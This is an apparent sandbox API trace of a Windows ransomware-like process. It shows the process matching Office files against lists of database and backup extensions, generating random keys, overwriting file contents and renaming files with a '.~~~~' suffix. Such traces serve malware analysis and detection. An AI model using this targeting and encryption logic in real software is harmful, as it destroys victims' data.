	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".DB") returned 0x0
	[0080.449] lstrlenW (lpString=".sql") returned 4
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".sql") returned 0x0
	[0080.449] lstrlenW (lpString=".MYD") returned 4
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".MYD") returned 0x0
	[0080.449] lstrlenW (lpString=".DBT") returned 4
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".DBT") returned 0x0
	[0080.449] lstrlenW (lpString=".ACCDB") returned 6
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0080.449] lstrlenW (lpString=".fdb") returned 4
	[0080.449] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".fdb") returned 0x0
	[0080.450] lstrlenW (lpString=".bak") returned 4
	[0080.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".bak") returned 0x0
	[0080.450] lstrlenW (lpString=".myd") returned 4
	[0080.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".myd") returned 0x0
	[0080.450] lstrlenW (lpString=".DTXS") returned 5
	[0080.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".DTXS") returned 0x0
	[0080.450] lstrlenW (lpString=".ckp") returned 4
	[0080.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".ckp") returned 0x0
	[0080.450] lstrlenW (lpString=".dbt") returned 4
	[0080.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".dbt") returned 0x0
	[0080.450] lstrlenW (lpString=".db") returned 3
	[0080.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".db") returned 0x0
	[0080.450] lstrlenW (lpString=".TXT") returned 4
	[0080.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".TXT") returned 0x0
	[0080.450] lstrlenW (lpString=".MDF") returned 4
	[0080.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".MDF") returned 0x0
	[0080.450] lstrlenW (lpString=".bdb") returned 4
	[0080.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".bdb") returned 0x0
	[0080.450] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.450] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0080.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.450] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0080.451] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.451] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.451] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0080.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.452] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20044175813) returned 1
	[0080.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x99cdafd0, dwHighDateTime=0x1d60e1e)) 
	[0080.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0080.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0080.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0080.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39e340
	[0080.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e340 | out: hHeap=0x300000) returned 1
	[0080.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.452] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbc58
	[0080.452] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.452] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.452] GetLastError () returned 0x0
	[0080.453] GetLastError () returned 0x0
	[0080.453] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.453] GetLastError () returned 0x0
	[0080.453] GetLastError () returned 0x0
	[0080.453] ReadFile (in: hFile=0x134, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x1f8fec0*=0x545, lpOverlapped=0x0) returned 1
	[0080.458] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffffabb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0080.458] WriteFile (in: hFile=0x134, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0x545, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x1f8fec0*=0x545, lpOverlapped=0x0) returned 1
	[0080.458] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0080.458] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.459] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0080.459] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0080.459] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0080.459] CloseHandle (hObject=0x134) returned 1
	[0080.459] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3faef0
	[0080.460] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.~~~~")) returned 1
	[0080.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3faef0 | out: hHeap=0x300000) returned 1
	[0080.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0080.461] GetLastError () returned 0x0
	[0080.461] RtlWakeConditionVariable () returned 0x365f70
	[0080.461] GetCurrentThreadId () returned 0xaf0
	[0080.461] GetCurrentThreadId () returned 0xaf0
	[0080.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3faef0
	[0080.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fac18 | out: hHeap=0x300000) returned 1
	[0080.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e308 | out: hHeap=0x300000) returned 1
	[0080.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3fa7b0
	[0080.461] lstrlenW (lpString=".scr") returned 4
	[0080.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".scr") returned 0x0
	[0080.461] lstrlenW (lpString=".cmd") returned 4
	[0080.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".cmd") returned 0x0
	[0080.461] lstrlenW (lpString=".dll") returned 4
	[0080.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".dll") returned 0x0
	[0080.461] lstrlenW (lpString=".bat") returned 4
	[0080.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".bat") returned 0x0
	[0080.461] lstrlenW (lpString=".cpl") returned 4
	[0080.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".cpl") returned 0x0
	[0080.461] lstrlenW (lpString=".sys") returned 4
	[0080.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".sys") returned 0x0
	[0080.461] lstrlenW (lpString=".msc") returned 4
	[0080.461] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".msc") returned 0x0
	[0080.462] lstrlenW (lpString=".com") returned 4
	[0080.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".com") returned 0x0
	[0080.462] lstrlenW (lpString=".lnk") returned 4
	[0080.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".lnk") returned 0x0
	[0080.462] lstrlenW (lpString=".msp") returned 4
	[0080.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".msp") returned 0x0
	[0080.462] lstrlenW (lpString=".pif") returned 4
	[0080.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".pif") returned 0x0
	[0080.462] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0080.462] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0080.462] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.471] lstrlenW (lpString=".sqb") returned 4
	[0080.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".sqb") returned 0x0
	[0080.471] lstrlenW (lpString=".ost") returned 4
	[0080.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".ost") returned 0x0
	[0080.471] lstrlenW (lpString=".txt") returned 4
	[0080.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".txt") returned 0x0
	[0080.471] lstrlenW (lpString=".mdt") returned 4
	[0080.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".mdt") returned 0x0
	[0080.471] lstrlenW (lpString=".BDB") returned 4
	[0080.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".BDB") returned 0x0
	[0080.471] lstrlenW (lpString=".eql") returned 4
	[0080.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".eql") returned 0x0
	[0080.471] lstrlenW (lpString=".DBF") returned 4
	[0080.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".DBF") returned 0x0
	[0080.471] lstrlenW (lpString=".EQL") returned 4
	[0080.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".EQL") returned 0x0
	[0080.471] lstrlenW (lpString=".FDB") returned 4
	[0080.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".FDB") returned 0x0
	[0080.471] lstrlenW (lpString=".EDB") returned 4
	[0080.471] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".EDB") returned 0x0
	[0080.472] lstrlenW (lpString=".DACPAC") returned 7
	[0080.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".DACPAC") returned 0x0
	[0080.472] lstrlenW (lpString=".VHD") returned 4
	[0080.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".VHD") returned 0x0
	[0080.472] lstrlenW (lpString=".DBV") returned 4
	[0080.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".DBV") returned 0x0
	[0080.472] lstrlenW (lpString=".dacpac") returned 7
	[0080.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".dacpac") returned 0x0
	[0080.472] lstrlenW (lpString=".sdf") returned 4
	[0080.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".sdf") returned 0x0
	[0080.472] lstrlenW (lpString=".accdb") returned 6
	[0080.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".accdb") returned 0x0
	[0080.472] lstrlenW (lpString=".DBX") returned 4
	[0080.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".DBX") returned 0x0
	[0080.472] lstrlenW (lpString=".MDT") returned 4
	[0080.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".MDT") returned 0x0
	[0080.472] lstrlenW (lpString=".SQB") returned 4
	[0080.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".SQB") returned 0x0
	[0080.472] lstrlenW (lpString=".vhd") returned 4
	[0080.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".vhd") returned 0x0
	[0080.472] lstrlenW (lpString=".bac") returned 4
	[0080.472] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".bac") returned 0x0
	[0080.472] lstrlenW (lpString=".mdf") returned 4
	[0080.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".mdf") returned 0x0
	[0080.473] lstrlenW (lpString=".BAK") returned 4
	[0080.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".BAK") returned 0x0
	[0080.473] lstrlenW (lpString=".BAC") returned 4
	[0080.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".BAC") returned 0x0
	[0080.473] lstrlenW (lpString=".dbs") returned 4
	[0080.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".dbs") returned 0x0
	[0080.473] lstrlenW (lpString=".vhdx") returned 5
	[0080.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".vhdx") returned 0x0
	[0080.473] lstrlenW (lpString=".NDF") returned 4
	[0080.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".NDF") returned 0x0
	[0080.473] lstrlenW (lpString=".dat") returned 4
	[0080.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".dat") returned 0x0
	[0080.473] lstrlenW (lpString=".DBS") returned 4
	[0080.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".DBS") returned 0x0
	[0080.473] lstrlenW (lpString=".CKP") returned 4
	[0080.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".CKP") returned 0x0
	[0080.473] lstrlenW (lpString=".edb") returned 4
	[0080.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".edb") returned 0x0
	[0080.473] lstrlenW (lpString=".PST") returned 4
	[0080.473] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".PST") returned 0x0
	[0080.474] lstrlenW (lpString=".dbf") returned 4
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".dbf") returned 0x0
	[0080.474] lstrlenW (lpString=".SQL") returned 4
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".SQL") returned 0x0
	[0080.474] lstrlenW (lpString=".pst") returned 4
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".pst") returned 0x0
	[0080.474] lstrlenW (lpString=".dbv") returned 4
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".dbv") returned 0x0
	[0080.474] lstrlenW (lpString=".SDF") returned 4
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".SDF") returned 0x0
	[0080.474] lstrlenW (lpString=".dtxs") returned 5
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".dtxs") returned 0x0
	[0080.474] lstrlenW (lpString=".db3") returned 4
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".db3") returned 0x0
	[0080.474] lstrlenW (lpString=".OST") returned 4
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".OST") returned 0x0
	[0080.474] lstrlenW (lpString=".dbx") returned 4
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".dbx") returned 0x0
	[0080.474] lstrlenW (lpString=".DB3") returned 4
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".DB3") returned 0x0
	[0080.474] lstrlenW (lpString=".DAT") returned 4
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".DAT") returned 0x0
	[0080.474] lstrlenW (lpString=".VHDX") returned 5
	[0080.474] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".VHDX") returned 0x0
	[0080.475] lstrlenW (lpString=".ndf") returned 4
	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".ndf") returned 0x0
	[0080.475] lstrlenW (lpString=".DB") returned 3
	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".DB") returned 0x0
	[0080.475] lstrlenW (lpString=".sql") returned 4
	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".sql") returned 0x0
	[0080.475] lstrlenW (lpString=".MYD") returned 4
	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".MYD") returned 0x0
	[0080.475] lstrlenW (lpString=".DBT") returned 4
	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".DBT") returned 0x0
	[0080.475] lstrlenW (lpString=".ACCDB") returned 6
	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".ACCDB") returned 0x0
	[0080.475] lstrlenW (lpString=".fdb") returned 4
	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".fdb") returned 0x0
	[0080.475] lstrlenW (lpString=".bak") returned 4
	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".bak") returned 0x0
	[0080.475] lstrlenW (lpString=".myd") returned 4
	[0080.475] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML", lpSrch=".myd") returned 0x0
	[0080.475] lstrlenW (lpString=".DTXS") returned 5
